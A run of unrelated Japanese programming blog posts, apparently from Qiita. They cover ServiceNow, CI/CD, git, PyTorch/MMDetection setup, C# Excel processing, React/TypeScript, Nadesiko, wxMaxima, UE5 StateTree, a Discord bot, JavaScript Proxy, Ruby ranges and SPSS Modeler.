転職の意思を持たずに自己の年収をあげるために内定をもらうのは転職市場にも悪影響なので絶対にやめましょう。

# エンジニアリングマネージャーBさんが教えてくれた年収を上げる一つの方法

市場価値というものは、それぞれの会社や時勢によって変化するものなので、エンジニアリングマネージャーから提案するのであれば、今の部下に何が足りないのか何ができたらを考えます。
エンジニアのキャリアアップを一緒に考えて成長する目標設定をしましょう。さすれば、評価があがります。
目標設定・評価設定は上司と部下が一緒になり考えるものです。
キャリアアップし、スキルも身についても年収が上がらない場合は、どうする？

転職して年収を上げましょう！
[ServiceNow] 監査（Audit）機能

# 監査（Audit）機能とは
テーブルのレコードに対する操作（作成、変更、削除）を追跡できる機能のことである。

# 監査される情報
一意の識別子、変更されたフィールド、更新された回数、新旧の値、変更日時、ユーザー、変更理由などがある。

# 親子テーブルの監査
親テーブルの監査フラグは子テーブルに引き継がれることはない。

# 設定方法
1. ALL＞System Definition＞Dictionary
2. 監査するテーブルを探す
3. Personalize Formを選択
4. 監査チェックボックスをオンにする
5. UPDATEを選択
6. 監査するフィールドをTrueにする
GitHubとGitLabの、機能比較とCI/CDパイプラインの構築


### GitHubとGitLabの機能比較

| 機能             | GitHub                              | GitLab                                 |
|------------------|-------------------------------------|----------------------------------------|
| プライベートリポジトリ | 無料プランで利用可能                  | 無料プランで利用可能                    |
| CI/CD            | GitHub Actionsを使用                 | GitLab CI/CDを内蔵                     |
| プロジェクト管理   | Issues、Projects、Wiki               | Issues、Boards、Wiki、Epics            |
| コードレビュー     | Pull Requests                       | Merge Requests                          |
| デプロイ          | GitHub Actionsを使用                 | CI/CDで自動デプロイ                     |
| セキュリティ      | Dependabot、コードスキャン           | セキュリティダッシュボード、脆弱性管理  |
| コラボレーション   | GitHub Discussions                   | GitLab Discussions                      |

### CI/CDパイプラインの構築

#### GitHub（GitHub Actions）

1. **リポジトリを作成**: GitHubで新しいリポジトリを作成します。
2. **ワークフローの設定**:
   - `.github/workflows` フォルダを作成し、YAMLファイル（例: `ci.yml`）を追加します。
   - 必要なトリガー（例: `push`、`pull_request`）とジョブを定義します。
3. **アクションの指定**: 必要なアクション（例えば、テストやデプロイ）を設定します。
4. **コミット**: YAMLファイルをコミットすると、指定したトリガーでCI/CDが実行されます。

#### GitLab（GitLab CI/CD）

1. **リポジトリを作成**: GitLabで新しいリポジトリを作成します。
2. **CI/CD設定ファイルの作成**:
   - プロジェクトルートに `.gitlab-ci.yml` ファイルを作成します。
   - ジョブやステージを定義します。
3. **トリガーの設定**: 必要に応じて、手動トリガーやスケジュールを設定します。
4. **コミット**: `.gitlab-ci.yml` ファイルをコミットすると、自動的にCI/CDパイプラインが実行されます。

### 参考資料

- **GitHub Actionsの公式ドキュメント**: [GitHub Actions Documentation](https://docs.github.com/en/actions)
- **GitLab CI/CDの公式ドキュメント**: [GitLab CI/CD Documentation](https://docs.gitlab.com/ee/ci/)
【個人メモ】Ruby on Rails チュートリアル 第11章

Ruby on Railsチュートリアルで学んだ内容を個人的なメモとして簡単にまとめたものです

# 個人メモ
- before_createコールバック
オブジェクトが作成されたときに呼び出されるコールバック
- メソッド参照
指定したメソッドを探索して実行を行うようにする記述法
ex) before_create :create_activation_digest
- メーラー
Usersコントローラのcreateアクションで有効化リンクをメール送信するために用いる
rails g コマンドで生成でき、テキストメール用のviewテンプレート、HTMLメール用のviewテンプレートが生成される
メールのテンプレートをビューと同じ要領で定義できる
- クエリパラメータ
URLの末尾で疑問符「?」に続けてキーと値のペアを記述したもの
- Time.zone.now
Railsの組み込みヘルパー
サーバーのタイムゾーンに応じたタイムスタンプを返す
- メタプログラミング
「プログラムでプログラムを作成する」
- sendメソッド
sendメソッドの引数によって、渡されたオブジェクトの呼び出すメソッドを動的に決めることができる
[git]マージしたブランチをローカル開発環境から消す

## マージしたブランチを開発環境から消す
gitで管理しているブランチが多くなり、煩わしかったので消す方法を調べました。
備忘録の意味を兼ねて記事を書きました。
### ローカルブランチを一つずつ消す方法

```
$ git branch -d              #　現在のいるブランチを削除
$ git branch -d [branchname] #　マージした[branchname]を削除
$ git branch -D [branchname] #　マージしていない[branchname]を強制削除
```
### ブランチをまとめて消す方法
mainブランチに移動して、すでにマージされているブランチを削除します。
```
$ git checkout main && git branch --merged | grep -v '^\*' | xargs -r git branch -d
```
### 補足
主流のブランチによって、mainの部分をmasterやdevに書き換える必要があります。
condaでMMdetectionの環境構築（cuda 11.8）

## mmdetection用の環境を作成

mmdetection_envの部分は好きな名前でOK

```bash
conda create -n mmdetection_env python==3.8
conda activate mmdetection_env
```

## PyTorchのインストール
cudaのバージョンを確認
```bash
nvcc --version
```
確認したcudaのバージョンに合わせてコマンドを選択
PyTorchのバージョンが2.1.0でないと動かないので注意する

```bash
# ROCM 5.6 (Linux only)
pip install torch==2.1.0 torchvision==0.16.0 torchaudio==2.1.0 --index-url https://download.pytorch.org/whl/rocm5.6
# CUDA 11.8
pip install torch==2.1.0 torchvision==0.16.0 torchaudio==2.1.0 --index-url https://download.pytorch.org/whl/cu118
# CUDA 12.1
pip install torch==2.1.0 torchvision==0.16.0 torchaudio==2.1.0 --index-url https://download.pytorch.org/whl/cu121
# CPU only
pip install torch==2.1.0 torchvision==0.16.0 torchaudio==2.1.0 --index-url https://download.pytorch.org/whl/cpu
```

PyTorchがgpuを認識するか確認

```bash
python3
>> import torch
>>print(torch.cuda.is_available())
# Trueなら成功
>> print(torch.cuda.device_count())
# マシンのGPU数と合致していれば成功
>> exit()
```

## mmdetectionのインストール

mmcvのインストール

```bash
pip install -U openmim
mim install mmengine
mim install "mmcv==2.1.0"
```

mmdetのインストール

```bash
git clone https://github.com/open-mmlab/mmdetection.git
cd mmdetection
pip install -v -e .
mim install mmdet
```

## 参考
PyTorchのインストール

https://pytorch.org/get-started/previous-versions/

mmdetのインストール

https://mmdetection.readthedocs.io/en/latest/get_started.html
C#でExcelの重複行を削除する

さまざまなソースからExcelデータをインポートする場合、行が複製される場合があります。データの精度を確保するには、これらの複製の行を削除する必要があることがよくあります。

それらを手動で見つけて削除するのは非常に時間がかかりますが、プログラミングスクリプトを実装して短期間で大量のデータを処理できます。この記事では、C＃を使用してExcelの重複行をすばやく見つけて削除するための無料のソリューションを提供します。

## 無料.NET Excelライブラリ
まず、[**Free Spire.XLS for .NET**](https://www.e-iceblue.com/Introduce/free-xls-component.html)ライブラリをインストールする必要があります。 [**Nuget**](http://www.nuget.org/packages/FreeSpire.XLS/)を介して直接インストールできます。または、以下のリンクからダウンロードして、手動でインポートすることもできます。

https://www.e-iceblue.com/Download/download-excel-for-net-free.html

## C#でExcelで重複する行を削除する方法

>**主な手順:**

1. `LoadFromFile()`メソッドを使用して、Excelファイルをロードします。
1. 指定されたワークシートを入手し、繰り返し行を見つける必要があるセルエリアを指定します。
1. LINQクエリを使用して繰り返しを見つけ、これらの行のライン番号をリストに保存します。
1. このリストを繰り返し、すべての重複した行を削除します。
1. ファイルを保存します。

>**サンプルC＃コード：**
```csharp
using Spire.Xls;
using System.Linq;
 
namespace RemoveDuplicateRows
{
    class Program
    {
        static void Main(string[] args)
        {
            //加载Excel文件
            Workbook workbook = new Workbook();
            workbook.LoadFromFile("示例.xlsx");
 
            //获取第一张工作表
            Worksheet sheet = workbook.Worksheets[0];
 
            //指定需要删除重复记录的单元格区域
            var range = sheet.Range["A1:A" + sheet.LastRow];
 
            //获取重复项的行号
            var duplicatedRows = range.Rows
                   .GroupBy(x => x.Columns[0].DisplayedText)
                   .Where(x => x.Count() > 1)
                   .SelectMany(x => x.Skip(1))
                   .Select(x => x.Columns[0].Row)
                   .ToList();
 
            //删除重复行     
            for (int i = 0; i < duplicatedRows.Count; i++)
            {
                sheet.DeleteRow(duplicatedRows[i] - i);
            }
 
            //保存Excel文件
            workbook.SaveToFile("删除重复行.xlsx");
        }
    }
}
```
上記のコードでは、指定されたセル範囲内の重複アイテムがすぐに見つかり、一度に削除されていました。
* * *
Free Spire.XLS for .NETは、Microsoft Excelに依存せずにExcelドキュメントを操作するための効率的な方法を提供します。このライブラリは、Excelの読み取り、書き込み、変換、印刷など、さまざまな機能もサポートしています。以下のリンクをクリックして、より多くの例を表示できます。

https://www.e-iceblue.com/Tutorials/Spire.XLS/Spire.XLS-Program-Guide/Spire.XLS-Program-Guide-Content.html
TypeScript で学習時間を登録するアプリをつくる

# はじめに

JISOU というコミュニティで React + TypeScript の勉強をしています。取り組んだ課題は学習時間を登録するアプリです。

- 登録した学習時間

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/137044/3b75fbdf-3c79-188c-c0ed-dd3371498b28.png)

- 登録ダイアログ

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/137044/9eb5da58-e759-9572-24ee-39507971f11b.png)

- 編集ダイアログ

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/137044/6a939456-50f4-8235-cc75-94cc96d249e6.png)

-  課題でチャレンジした技術
    - バックエンドは Supabase で構築
    - React を TypeScript で作成
    - ChakraUI でレイアウトを作成
    - `useState` で管理する学習時間に新しい登録を追加、登録済の学習時間の更新
    - react-hook-form を使った submit コールバック、バリデーション

# 工夫してみたところ

登録ダイアログ、編集ダイアログをコンポーネントにしてみました。課題のなかでは無理にコンポーネントしなくても良いとアドバイスがありましたが、やってみたい欲に駆られてチャレンジしてみました。工夫してみたところは

- 親のステートを子コンポーネントで更新する
- 登録ダイアログと更新ダイアログを分ける

です。

:::note warn
React 始めたばかりのひとが面白がってコンポーネント分けてるだけなので正確性は低いよ！
:::


## 親のステートを子コンポーネントで更新するなら？

Gemini に問い合わせてみたところ、set 関数を子コンポーネントにわたすのがいいと回答を得ました。本当にいいかはさておき、確かに set 関数を子コンポーネントで操作すると良さそうです。

TypeScript では set 関数を引数に指定するにも型が必要になり `Dispatch<SetStateAction<Record[]>>` と書くのが新しい気付きでした。

```typescript
type Props = {
  handleNewRecord: Dispatch<SetStateAction<Record[]>>
}

export default function NewRecordFormDialog({ handleNewRecord } : Props) {
  const onSubmit = handleSubmit(async (data) => {
    const newRecord : Record = await insertRecord(data.title, data.time)
    handleNewRecord((prevRecords : Record[]) => [newRecord, ...prevRecords])

    setOpen(false)
    reset();
  })

  return (
    <>
      <form onSubmit={onSubmit}>
        ...
      </form>
    <>
  )
}
```

## 登録ダイアログと更新ダイアログは同じコンポーネントにする？

登録ダイアログと更新ダイアログのコンポーネントは分けることにしました。理由は更新ダイアログでは対象データを渡す必要があり、かつ supabase の更新 API を使う必要がありました。煩雑になるので登録ダイアログと更新ダイアログは分けて考えることにしました。

```typescript
type Props = {
  id: string,
  title: string,
  time: number,
  handleUpdateRecord: Dispatch<SetStateAction<Record[]>>
}

export default function UpdateRecordFormDialog({ id, title, time, handleUpdateRecord } : Props) {
  const onSubmit = handleSubmit(async (data) => {
    const updatedRecord : Record = await updateRecord(id, data.title, data.time)

    handleUpdateRecord((prevRecords : Record[]) => {
      return prevRecords.map((prevRecord) => prevRecord.id === updatedRecord.id ? updatedRecord : prevRecord)
    })

    setOpen(false)
    reset();
  })

  return (
    <>
      <form onSubmit={onSubmit}>
        ...
      </form>
    <>
  )
}
```

:::note
登録ダイアログと更新ダイアログをひとつのコンポーネントとするなら Props で `?` を活用すると良さそうです。ただ、`id` 、 `title` 、 `time` はすべて指定する必要がありヒューマンエラーに気づきづらいかもです。

```
type Props = {
  id?: string,
  title?: string,
  time?: number,
  handleUpdateRecord: Dispatch<SetStateAction<Record[]>>
}
```
:::

# 次に向けて

いま登録した学習時間は降順としたいので supabase でも降順（新しいものから古いものへ）で取得しています。新しく登録したものは配列の先頭に挿入しています。いざ昇順に変えるとなったときに考慮すべき点が増えるのであまりよい構造とは言えません。

ただ、全レコードをフェッチするよりメモリ効率は良さそうです :thinking: どちらがパフォーマンスが良いか要検討ですね。

# JISOUのメンバー募集中！
プログラミングコーチングJISOUでは、新たなメンバーを募集しています。
日本一のアウトプットコミュニティでキャリアアップしませんか？
興味のある方は、ぜひホームページをのぞいてみてください！
▼▼▼

https://projisou.jp
「ポケット設定」- なでしこ2024年バージョンアップを振り返る な

なでしこ開発者のクジラ飛行机です。今年も、なでしこの開発をたくさん行いました。一年の振り返りに、新機能やバージョンアップのハイライトを紹介したいと思います。

### 個人的に良かった機能は？ --- 「ポケット設定」命令

「ポケット設定」「ポケット取得」命令も、今年のバージョンアップのハイライトの一つです。

- [なでしこマニュアル > ポケット設定](https://nadesi.com/v3/doc/index.php?plugin_browser%2F%E3%83%9D%E3%82%B1%E3%83%83%E3%83%88%E8%A8%AD%E5%AE%9A&show)

これは、なでしこ3でエディタやボタンなどのGUI部品を利用する際に、GUI部品に任意のデータを保存しておくことができる機能です。

### 「ポケット設定」の簡単な利用例

「ポケット取得」「ポケット設定」の簡単な例は次の通りです。

```
OK=「OK」のボタン作成
OKに[1,2,3,4,5]をポケット設定。
OKをクリックした時には
    OKのポケット取得してJSONエンコードして表示。
ここまで。
```

プログラムを実行して「OK」ボタンを押すと、次のように表示されます。

![スクリーンショット 2024-11-13 17.05.11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/33180/2c19d739-49ef-a209-68b4-3a563b8c38d0.png)


### 「ポケット設定」の何が便利なの？

「ポケット取得」「ポケット設定」が便利なのは、大量のボタンを作成した時などに、GUI部品ごとにデータを設定できる点にあります。

以下のプログラムは、九九の表を作って、クリックした時に九九の結果をダイアログで表示する例です。

```
# 大量のボタンを作る
ボタン一覧=[]
Yで1…9を繰り返す：
　　Xで1…9を繰り返す：
　　　　B=「{Y}×{X}」のボタン作成
　　　　Bに「{Y}×{X}={Y×X}」をポケット設定
　　　　Bをクリックした時には：
　　　　　　P=対象のポケット取得 # --- (※1)
　　　　　　Pを言う
　　　　ボタン一覧[Y*9+x]=B
　　改行作成
```

実行すると、下記のように表示されます。そして「3×5」のボタンを押すと、ポケットに設定してあった答えのデータを表示します。

![スクリーンショット 2024-11-13 17.12.48.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/33180/63961f75-4a13-ebbe-d9ae-9164aecc332b.png)

ポイントは(※1)の部分で、クリックイベントが起きた時、対象にイベントが発生したGUI部品のオブジェクトが入ります。これを利用することで、GUIを便利に操作できます。

### まとめ

「ポケット設定」や「ポケット取得」を使うと、GUI部品に個別のデータを与えることができるので、GUI部品の操作が簡単になります。ぜひ、活用してみてください！
wxMaximaでギリシャ文字を表示する方法

wxMaximaで変数名にギリシャ文字を使うには、「%alpha」のように%記号を頭に付ける方法が知られていましたが、
バージョンアップによってこの方法は使えなくなったようです。
いちいち横のパネルから選択するのは面倒に感じたので、方法を探したところ、以下が見つかりました。

# 対処法
## 方法１
以下のように設定します

WxMaximaを開き、編集→設定→ワークシート→Displayから、Change names of greek letters to greek lettersをチェックします。こうすれば、theta、alphaなどとギリシャ文字をアルファベットで入力すると、表示されるときに自動でギリシャ文字に変換されるようになります。
![{D0339FF3-48A4-438E-99A3-650B8C1F579B}.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3934493/074623cf-f4d5-f58f-ffe7-9d39de8dc100.png)

## 方法２
数式を入力する際に、Escキーを押します。すると、以下のように候補が出てきます。
![{F9CFD3D0-29D5-4CBE-9C1D-6D93917F16C6}.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3934493/f1ac502a-e5e2-7a4c-e55f-dc1e43cd9cfa.png)
ここからさらに文字を入力すると、絞り込むことができます。以下はaを入力したところです。
![{CF9D471F-92E3-431B-BAC4-D0A69214083A}.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3934493/ccee148f-9d71-d3b0-05f7-1ce6538ee5a1.png)
ここからlを入力すると、alphaに確定するため、alphaが出力されます。また、矢印キーで候補を選択し、Escをもう一度押すことで候補を確定させることもできます。

# 注意点
方法1と方法2で作成した変数は、同じギリシャ文字を指すものであっても別物として扱われるようです。また、方法1を使うと、時々うまくいかないことがあるようなので、方法2を使うほうが無難かもしれません。
Escキー遠くて押しにくいのであまり使いたくないんですけどね…

# おわりに
いかがでしたか？指摘やアドバイスなどあればコメントにお願いします。
[UE5]StateTreeを勉強する 序文

UnrealEngineで、NPCの行動AIを作って制御したい時に使えるのがStateTree（とBehaviorTree）である。
例を挙げるなら、リオレウスがハンターの位置を見ながら炎を吐いたり、しっぽを振りまわしたり、飛行状態に移ったりという制御が作れる。もっともモンハンはUEを使用してはいないのだが。

公式によると
https://dev.epicgames.com/documentation/ja-jp/unreal-engine/state-tree-in-unreal-engine

>StateTree は、動作ツリーの セレクター とステートマシンの ステート および 遷移 を組み合わせた汎用の階層型ステートマシンです。

と書かれているが、これでどういうものかピンとくる人ばかりではないだろう。少なくとも筆者にはわからなかった。なぜならこの文章はステートマシン（有限オートマトン）の知識を前提としている文章だからだ。

そういわれると余計分からなくなるかもしれない。知らない横文字の登場は思考を停止させる。ので。
https://www2.denshi.numazu-ct.ac.jp/lego/NXT/nxtOSEK/3_jissen/state_machine.html
どこぞの大学の講義資料から持ってきた。基本的にステートマシンは◇と→で書ける。

+ 複数の状態を定義する。
リオレウスなら、立ち、ブレス、突進、しっぽ攻撃、飛行などと言った感じだろう。
+ 状態の間に矢印がある。
例えば立ち状態から突進をする。矢印でつながっていない行動（状態）はその時点では使えない。
+ 条件に応じて矢印を選んで動く。（ただし、完全ランダムも可）
遠くにいるときはブレス攻撃や突進攻撃で距離を詰めるし、横に陣取られているときはしっぽ攻撃を優先する。

リオレウスを全世界の人が知っている前提で例を書いたが、ステートだの遷移だのよりは分かりやすいだろう。

次回からは筆者が実際に勉強した内容を報告する形で書いていく。
[ServiceNow] CMDBについて

# CMDBとは
CMDBとは、Configuration Management Data Baseの略で、直訳すると「構成管理データベース」だ。
これは、ITサービスを提供する上で必要な構成アイテム（CI）の情報と構成アイテム間の関係性を一元管理するためのデータベースのことである。

# 構成アイテム(CI)とは
CMDBの管理対象であるIT資産や構成要素は、CI(Configuration Item)「構成アイテム」と称される。
CIの具体例としては以下のようなものがある。
・物理資産：ハードウェア、ソフトウェア、インフラ、建物など
・文書：契約書、ライセンス、仕様書、ベンダー情報など

# CMDBの目的
構成アイテムを一元管理することで、ITリソースを可視化し、ITサービスが機能停止するなどのリスク削減やコンプライアンスの維持を図るのが目的である。

# CMDB構築のメリット
#### ・ITリソースの現状を正確に把握できる
→複雑なITシステムを構成するCIの属性情報や、CI同士の関連性を可視化し、ITシステムの現状を正確に把握し適切な意思決定を行うことが出来る

#### ・インシデントや変更の影響範囲を特定できる
→アプリケーションがどのサーバーでどのソフトウェアによって稼働しているかなどの関連性を把握できるため、インシデント発生時の根本原因の調査、変更範囲の特定、脆弱性調査など早期の問題解決に役立てることが出来る

#### ・現状を把握してITコストを調整できる
→IT資産が有効活用されているかどうかを知ることが出来る。それにより、現在活用されていないIT資産をより戦略的な用途に割り当てたり、部門ごとにサイロ化されたIT資産を統合したりすることが可能であり、これによってITコスト削減に貢献できる

# CSDMとは
CSDMは、Common Services Data Modelの略で、直訳すると「共通サービスデータモデル」である。
CMDBデータのモデリングと管理のための強力なフレームワークである。
Youtubeの動画更新をdiscordに通知

# はじめに
　Twitterを辞め、YOUTUBEアプリの通知では要らないものがたくさんくるため実際にYouTubeを開く以外で確認することが困難になっていたので作成しようとしました。
# 1 Youtube APIの取得
　[Google Cloud Console](https://cloud.google.com/cloud-console?hl=ja "Google Cloud Console")でYouTube Data API v3を生成し取得
 # 2 discord BOTの作成
 　
  [Discord Developer Portal](https://discord.com/developers/docs/intro)でBOTを作成し使用するチャンネルに招待してください
  参考：

https://qiita.com/1ntegrale9/items/cb285053f2fa5d0cccdf

 # 3 ライブラリのインストール
 
```python:
pip install discord.py google-api-python-client
```

# 4 コード
チャンネルIDはYOUTUBE　URLの末尾から取得できます。
＠YOUTUBEみたいになっている場合は変換サイトやプログラムでIDを取得してください。
ディスコードチャンネルIDはサーバーではなく、チャンネルを右クリックしてください。

```python:code
import discord
from discord.ext import tasks
from googleapiclient.discovery import build
import os

#  API keys 
YOUTUBE_API_KEY = 'YOUR_YOUTUBE_API_KEY'
DISCORD_TOKEN = 'YOUR_DISCORD_BOT_TOKEN'
CHANNEL_ID = 'DISCORD_CHANNEL_ID'  # 使用するディスコードチャンネルで右クリックするとコピーできます
YOUTUBE_CHANNEL_ID = 'YOUTUBE_CHANNEL_ID'  # チャンネルIDはYOUTUBE　URLの末尾です。＠何々ではありません。変換する必要があります

# Initialize YouTube API
youtube = build('youtube', 'v3', developerKey=YOUTUBE_API_KEY)

# Initialize Discord bot
intents = discord.Intents.default()
client = discord.Client(intents=intents)

# Save the latest video ID to avoid duplicate notifications
latest_video_id = None

@tasks.loop(minutes=60)  # Check every 60 minutes
async def check_new_videos():
    global latest_video_id
    try:
        # Fetch the latest video from the YouTube channel
        response = youtube.search().list(
            part="snippet",
            channelId=YOUTUBE_CHANNEL_ID,
            order="date",
            maxResults=1,
            type="video"
        ).execute()

        video_id = response['items'][0]['id']['videoId']
        video_title = response['items'][0]['snippet']['title']
        video_url = f"https://www.youtube.com/watch?v={video_id}"

        # Check if new video
        if video_id != latest_video_id:
            # Send a message to Discord
            channel = client.get_channel(int(CHANNEL_ID))
            await channel.send(f"新しい動画が公開されました: **{video_title}**\n{video_url}")
            latest_video_id = video_id

    except Exception as e:
        print(f"エラーが発生しました: {e}")

@client.event
async def on_ready():
    print(f'Logged in as {client.user}')
    check_new_videos.start() 

# Run the bot
client.run(DISCORD_TOKEN)

```
# 5 結果
毎日投稿されている方が確認しやすいのでジャルジャルさんの動画を取得しました。
実際にdiscordにメッセージが送信されているのが確認できました。
![SnapCrab_NoName_2024-11-13_16-57-27_No-00.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/531555/95bb7327-9405-ee74-85d1-7c37a5150783.png)

# 6 最後に
X（旧Twitter ）を願掛けのために辞めたのでディスコードで通知を受け取れるのは便利です。
【JavaScript】Proxyについて

今回は【JavaScript】のProxyについての備忘録です。


## 1: Proxyとは？
・「Proxy」とは、【プロパティの操作に、独自の処理を追加する】ためのオブジェクトです。これによりオブジェクト自体の操作に介入したり操作したりすることができます。
<br>

## 2:「Proxyの独自の処理」って？ 
・例えばProxyが発生したら「トラップ」というものを発動して、独自の処理を追加するということができます。
<br>
■トラップの独自の処理の例
・例として「setトラップ」を解説。
targetObj
handler
new Proxy
という各オブジェクトを使って、どの操作に介入するか、また介入された操作をどのように再定義するかを定義するオブジェクトです。
<br>
■set: function (target, prop, value, receiver)の引数の意味。

・第一引数のtarget ➡︎「Proxyの第一引数で渡したオブジェクトtargetObjのこと。」

・第二引数のprop ➡︎「プロパティにアクセスされた際の、プロパティの名前(プロパティaのこと)が渡ってきます。」

・第三引数は➡︎「setの場合は、新しい値が渡ってきますので【その新しい値】が第三匹数に渡ってきます。」

・第四引数のreceiver➡︎「Proxyをインスタンス化したpxy」のこと。実行元。
<br>
```javascript:main.js
//⬇︎targetObjを設定する。
const targetObj = { a: 0 };

//⬇︎handlerに「setトラップ」を設定する。
const handler = {
  set: function (target, prop, value, receiver) {
    console.log(`[setトラップ]: ${prop}`);
    target[prop] = value; //⬅︎prop(targetObjのプロパティ)に新しく値(a=3など)をセットする。
  },
};

//⬇proxyをインスタンス化する。
const pxy = new Proxy(targetObj, handler);

//⬇︎pxyを実行。
pxy.a = 3; //⬅︎setトラップが発動。値3を入れた場合、値3をtargetObjに新しくセットする。
```
⬇︎
■ pxy.a = 3を実行すると…
__[setトラップ]: aがコンソールに表示され、
targetObj(コンソール画面で左記を直接入力)には {a: 3} が
新しくSetされています。__


## 3: proxyの使い所
①データストアにlocalStorageで保存したり、
②「内部メソッド(setやgetなど)」を間接的に呼び出す(アクセスする)ことができる【Reflect】と組み合わせて設定・取得する時
などで使うと便利でしょう。


<br>
以上、簡単にですが備忘録でした。
Ruby range演算子 「..」と「...」の違いを理解しよう

Rubyのrange演算子には「..」(ドット2つ)と「...」(ドット3つ)の2種類があります。
これらは一見似ていますが、重要な違いがあります。この記事では、その違いと使い方について説明します。

## 基本的な違い

- `..` (ドット2つ): 終端を含む範囲を表す（inclusive）
- `...` (ドット3つ): 終端を含まない範囲を表す（exclusive）

## 具体例で見る違い

```ruby
# ドット2つの場合
(1..5).to_a  # => [1, 2, 3, 4, 5]

# ドット3つの場合
(1...5).to_a # => [1, 2, 3, 4]
```

ご覧の通り、`..`を使用した場合は終端の5が含まれていますが、`...`を使用した場合は5が含まれていません。

## 数値以外での使用例

文字列の範囲でも同様の違いが見られます：

```ruby
('a'..'c').to_a  # => ["a", "b", "c"]
('a'...'c').to_a # => ["a", "b"]
```

## 実用的な使用例

配列のスライシングなどで、この違いが活きてきます：

```ruby
arr = [0, 1, 2, 3, 4, 5]

# インデックス1から3まで（4は含まない）
arr[1...4] # => [1, 2, 3]

# インデックス1から4まで（4を含む）
arr[1..4]  # => [1, 2, 3, 4]
```

## 注意点

- 数値の範囲で`...`を使用する場合、終端の値は含まれないことに注意しましょう。
- 文字列や日付など、連続的でないオブジェクトの範囲を扱う際は、`succ`メソッドの挙動に注意が必要です。

## まとめ

- `..`は終端を含む（inclusive）
- `...`は終端を含まない（exclusive）

適切な範囲演算子を選択することで、より明確で効率的なコードを書くことができます。
状況に応じて使い分けることが重要です。

以上が、RubyのRange演算子「..」と「...」の違いについての基本的な説明です。
この違いを理解することで、より柔軟にRangeを活用できるようになるでしょう。
「取込」構文の改良 - なでしこ2024年バージョンアップを振り返る

なでしこ開発者のクジラ飛行机です。今年も、なでしこの開発をたくさん行いました。一年の振り返りに、新機能やバージョンアップのハイライトを紹介したいと思います。

### 個人的に良かった機能は？ --- 「取込」構文の改良

「取込」構文の改良も、今年のバージョンアップのハイライトの一つです。

### 改良前は？

なでしこの取り込み構文を使うと、外部で公開されているプラグインの機能を取り込んで利用できます。

例えば、下記のように書く事で、音楽を演奏できます。

```
# --- 拡張プラグインの取り込み ---
!『https://cdn.jsdelivr.net/npm/nadesiko3-music@3.6.2/nadesiko3-music.js』を取り込む
# --- 音楽を再生 ---
「音階5 ド」をMML演奏。
```

### 改良後は？ - v3.4.26以降

外部で公開されているプラグインは、大抵CDNで配付されています。そのため、次のように簡略記述できるようになりました。

```
!『拡張プラグイン:music.js』を取り込む
# --- 音楽を再生 ---
「音階5 ド」をMML演奏。
```

取り込む構文の中で、「拡張プラグイン:」と書くことで、CDNを参照するようになったのです。

他にも、なでしこ3貯蔵庫で公開されているプログラムについても、「貯蔵庫:」と書く事でURLを省略して記述できるようになりました。

```
!『https://n3s.nadesi.com/plain/ojyo-sama.nako3』を取り込む
# ↓
!『貯蔵庫:ojyo-sama.nako3』を取り込む
```

### まとめ

バージョンアップの内容としては、単に、取り込む構文の中で、文字列置換しているだけなんですが、使い勝手としては驚くほどよくなりました。

こう考えると、プログラミング言語の開発に限らず、ソフトウェアの使い勝手を改善するってことは、小さな変更の積み重ねなんだと改めて思いました。皆さん、思いついた改良のヒントがあれば、面倒臭がらず、コツコツ実現していきましょう！
出力フィールドは不完全です/データ型の指定が不十分です(SPSS Modeler データ加工逆引き12-5)

# 出力フィールドは不完全です/データ型の指定が不十分です

![スクリーンショット 2024-11-13 11.17.34.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/4a500c71-05b6-7428-6d04-7af0c0bc3897.png)

## 1.想定されるトラブル

・モデル作成時にデータ型関連のエラーが発生する

## 2.サンプルストリームのダウンロード

https://github.com/yoichiro0903n/blue/raw/refs/heads/main/%20date_difference_ng.str

データは以下のリンクから

https://github.com/yoichiro0903n/blue/raw/refs/heads/main/dataset01.xlsx

## 3.サンプルストリームの説明

![スクリーンショット 2024-11-13 11.18.24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/2ad98d1a-847b-2974-8af4-4f899fec9563.png)

a.入力は以下の通りです。例はExcel入力ですがCSV入力でも同じ現象が起きます。

![スクリーンショット 2024-11-13 11.26.19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/b1ce75d7-2ec5-e460-9b54-26d78be0f8ed.png)

[データ型]タブで確認すると以下のようになっています。[値]がブランクである点がこの後のエラーに関係します。

![スクリーンショット 2024-11-13 11.28.15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/ed1ed35a-4a8a-de22-38ea-43d8e271a5c6.png)

#### エラーの現象を確認する

b.[CHAID]ノードを編集します。[C1]は本来2値の予測なので[フラグ型]であるべきですが、この時点で正しく型のよ見込みができていないので[連続型]に分類されています。

![スクリーンショット 2024-11-13 11.28.55.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/fa0f36a6-52f8-5431-6384-80196500bd5f.png)

[CHAID]を実行すると以下のエラーメッセージが表示されます。

![スクリーンショット 2024-11-13 11.27.42.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/be732c25-0afb-bf43-3d4a-db7b1d3e9cb1.png)

#### 読み込み時点または[データ型]ノードで型の定義を行う

c.[Excel入力]ノードを編集します。[値の読み込み]ボタンを押して以下のように[値]がブランクでないことを確認します。

![スクリーンショット 2024-11-13 11.28.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/ea07edde-d5f6-dd3f-71f0-2fff063eb7b1.png)


d.[CHAID]ノードを実行します。

モデルナゲットがリフレッシュされ、問題なくモデル作成が完了します。

![スクリーンショット 2024-11-13 14.02.27.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/41896f7d-eb91-2243-c254-771065095a33.png)


#### 注意事項



## 4.参考情報

#### SPSS ModelerのCLEM式でよく使う「日付と時刻」関数

https://qiita.com/Makimaki2020/items/72e3b774039327fa4ac4

#### SPSS Modeler ノードリファレンス目次

https://qiita.com/416nishimaki/private/503037195081d3323eee

